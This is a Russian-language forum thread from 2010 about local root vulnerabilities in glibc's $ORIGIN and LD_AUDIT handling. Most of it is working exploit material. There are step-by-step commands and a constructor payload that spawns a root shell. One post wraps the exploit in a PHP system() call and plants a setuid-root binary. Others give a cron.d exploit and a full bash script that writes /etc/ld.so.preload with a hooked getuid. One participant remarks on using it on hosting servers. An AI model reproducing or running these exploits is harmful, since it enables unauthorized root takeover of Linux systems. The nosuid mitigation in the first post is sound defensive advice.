Старый 20.10.2010, 15:30   #1
v1d0q
 
Аватар для v1d0q
 
Регистрация: 09.07.2010
Сообщений: 91
Репутация: 85
По умолчанию Уязвимость Glibc

В системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов.

Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Debian, Ubuntu.

Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. Проверить свою систему на наличие уязвимости можно следующим способом:


Создаем произвольную директорию:

$ mkdir /tmp/exploit

Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN):

$ ln /bin/ping /tmp/exploit/target


Открываем для исполняемого файла файловый дескриптор:

$ exec 3< /tmp/exploit/target

Данный файловый дескриптор должен быть виден в пространстве /proc

$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*


Удаляем ранее созданную директорию

$ rm -rf /tmp/exploit/

В /proc дескриптор остался, но теперь помечен как удаленный:

$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)


Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen):

$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*


Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)



В качестве временной меры защиты рекомендуются перемонтировать все доступные сторонним пользователям на запись директории в режиме nosuid (актуально только если suid-файл и доступная на запись директория присутствуют в одном дисковом разделе, например, /tmp или /home являются частью корневого раздела, так как жесткая ссылка не может быть установлена из одного дискового раздела в другой) :

# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp


Дополнение: Разработчики из компании Red Hat выпустили патч, устраняющий проблему в Glibc.

copyright -> opennet
v1d0q вне форума   Ответить с цитированием
Старый 20.10.2010, 16:41   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

В качестве быстрой пробы:
Код:
[synq@localhost test]$ ls -la
total 28
drwxr-xr-x  2 synq synq 4096 Oct 20 09:38 .
drwx------ 17 synq synq 4096 Oct 20 09:20 ..
-rw-rw-r--  1 synq synq   36 Oct 20 09:35 1.php
-rwxrwxr-x  1 synq synq  222 Oct 20 09:32 auto.sh
-rw-r--r--  1 synq synq  139 Oct 20 09:25 exec2.c
-rw-r--r--  1 synq synq  122 Oct 20 09:27 payload.c
[synq@localhost test]$ gcc exec2.c -o exec2
[synq@localhost test]$ ls -la
total 36
drwxr-xr-x  2 synq synq 4096 Oct 20 09:38 .
drwx------ 17 synq synq 4096 Oct 20 09:20 ..
-rw-rw-r--  1 synq synq   36 Oct 20 09:35 1.php
-rwxrwxr-x  1 synq synq  222 Oct 20 09:32 auto.sh
-rwxrwxr-x  1 synq synq 7001 Oct 20 09:38 exec2
-rw-r--r--  1 synq synq  139 Oct 20 09:25 exec2.c
-rw-r--r--  1 synq synq  122 Oct 20 09:27 payload.c
[synq@localhost test]$ id
uid=500(synq) gid=500(synq) groups=500(synq)
[synq@localhost test]$ cat 1.php 
<? system("/bin/bash ./auto.sh");?>
[synq@localhost test]$ cat auto.sh 
#!/bin/sh
mkdir ./exploit
ln /bin/ping ./exploit/target
exec 3< ./exploit/target
ls -l /proc/$$/fd/3
rm -rf ./exploit/
ls -l /proc/$$/fd/3
gcc -w -fPIC -shared -o exploit payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[synq@localhost test]$ cat exec2.c 
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
if(argc == 2) {
setgid(0); setuid(0);
system(argv[1]); }
return 0;
}
[synq@localhost test]$ cat payload.c 
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/chown root.root ./exec2; /bin/chmod 4755 ./exec2;");
}
[synq@localhost test]$ php 1.php 
lr-x------ 1 synq synq 64 Oct 20 09:38 /proc/4106/fd/3 -> /home/synq/test/exploit/target
lr-x------ 1 synq synq 64 Oct 20 09:38 /proc/4106/fd/3 -> /home/synq/test/exploit/target (deleted)
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[synq@localhost test]$ ls -la
total 44
drwxr-xr-x  2 synq synq 4096 Oct 20 09:38 .
drwx------ 17 synq synq 4096 Oct 20 09:20 ..
-rw-rw-r--  1 synq synq   36 Oct 20 09:35 1.php
-rwxrwxr-x  1 synq synq  222 Oct 20 09:32 auto.sh
-rwsr-xr-x  1 root  root  7001 Oct 20 09:38 exec2
-rw-r--r--  1 synq synq  139 Oct 20 09:25 exec2.c
-rwxrwxr-x  1 synq synq 6052 Oct 20 09:38 exploit
-rw-r--r--  1 synq synq  122 Oct 20 09:27 payload.c
[synq@localhost test]$ id
uid=500(synq) gid=500(synq) groups=500(synq)
[synq@localhost test]$ ./exec2 id
uid=0(root) gid=0(root) groups=500(synq)
[synq@localhost test]$ uname -an
Linux localhost.localdomain 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 00:57:09 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
SynQ вне форума   Ответить с цитированием
Старый 20.10.2010, 19:23   #3
slesh
 
Аватар для slesh
 
Регистрация: 16.07.2010
Сообщений: 8
Репутация: 7
По умолчанию

На убунте уже не катит.
Цитата:
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] ==
slesh вне форума   Ответить с цитированием
Старый 20.10.2010, 19:45   #4
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Сообщение от slesh Посмотреть сообщение
На убунте уже не катит.
И не должно. Тут в комментариях подробнее: http://www.opennet.ru/opennews/art.shtml?num=28338
SynQ вне форума   Ответить с цитированием
Старый 22.10.2010, 18:41   #5
che
 
Аватар для che
 
Регистрация: 05.07.2010
Сообщений: 144
Репутация: 166
По умолчанию

жаль только что редко на каком хостинге можно ссылку создать
che вне форума   Ответить с цитированием
Старый 22.10.2010, 20:15   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Ну всё Tavis разогнался:
2.12.1, FC13
2.5, RHEL5 / CentOS5
2.11.1, Ubuntu 10

На примере (одном из) Ubuntu 10.04 ниже.
Цитата:
# The creation mask is inherited by children, and survives even a setuid
# execve. Therefore, we can influence how files are created during
# exploitation.
$ umask 0

# libpcprofile is distributed with the libc package.
$ dpkg -S /lib/libpcprofile.so
libc6: /lib/libpcprofile.so
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so

# We identified one of the pcprofile constructors is unsafe to run with
# elevated privileges, as it creates the file specified in the output
# environment variable.
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

# This results in creating a world writable file in the crontab directory.
$ ls -l /etc/cron.d/exploit
-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit

# Setup a cronjob to give us privileges (of course, there are dozens of other
# ways this could be exploited).
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit

# Wait a few minutes...
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit

# A setuid root shell appears.
$ /tmp/exploit
# whoami
root
SynQ вне форума   Ответить с цитированием
Старый 23.10.2010, 18:49   #7
ssAss
 
Регистрация: 20.07.2010
Сообщений: 13
Репутация: 1
По умолчанию

_http://www.opennet.ru/opennews/art.shtml?num=28390
ssAss вне форума   Ответить с цитированием
Старый 27.10.2010, 10:34   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Более удобный способ эксплуатации последнего бага (где нужен /lib/libpcprofile.so).
Из плюсов - работает там, где крон проверяет права файла, и не нужно ждать запуска нашего файла кроном.

Скрипт создает файл /etc/ld.so.preload вместо /etc/cron.d/exploit, и кладет в него путь до специально созданной либы. Тем самым можно (пере)определять функции, которые используются суидными бинарниками. Так как в данном случае будет использоваться ping, который вызывает getuid(), то она и будет переопредлена. Новая getuid() при вызове просто сделает "chown root.root ./sh; chmod 4755 ./sh".

Код:
#!/bin/bash
# CVE-2010-3856
# Author: deadbyte
 
OUTPUT=/etc/ld.so.preload
 
MASK=`umask`
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="$OUTPUT" ping 2> /dev/null
if [ ! -f $OUTPUT ]; then
  echo "System does not appear to be vulnerable"
  exit 0
fi
echo -n > $OUTPUT
umask $MASK
 
cat > sh.c << EOF
#include <unistd.h>
#include <stdio.h>
int main (int argc, char **argv, char **envp)
{
  char *args[] = { "/bin/bash", NULL };
  setuid(geteuid());
  setgid(getegid());
  execve(args[0], args, envp);
  perror("execve failed");
  return 0;
}
EOF
gcc sh.c -o sh
 
cat > libpwn.c << EOF
#include <sys/stat.h>
#include <unistd.h>
uid_t getuid (void)
{
  chown("$PWD/sh", 0, 0);
  chmod("$PWD/sh", S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);
  return 0;
}
EOF
gcc -Wall -fPIC -c libpwn.c
gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o
 
echo "$PWD/libpwn.so" > $OUTPUT
ping 2> /dev/null
echo -n > $OUTPUT
./sh
Источник: http://blog.nibbles.fr/2230
SynQ вне форума   Ответить с цитированием
Старый 26.01.2011, 16:12   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Linux vz2329 2.6.18-028stab056-aufs-teak12 #4 SMP Thu Jan 29 19:28:58 MSK 2009 i686

поддалась на этот башик

glibc root exploit

Последний раз редактировалось Pashkela; 13.08.2011 в 13:20..
Pashkela вне форума   Ответить с цитированием
Старый 19.04.2011, 17:07   #10
.pl
 
Регистрация: 10.03.2011
Сообщений: 2
Репутация: 2
По умолчанию

http://ptresearch.blogspot.com/2011/04/fuzzing-and-exploitation-of.html
Fuzzing and exploitation tool for vulnerability CVE-2010-385 http://pastebin.com/khpqbqkL
.pl вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot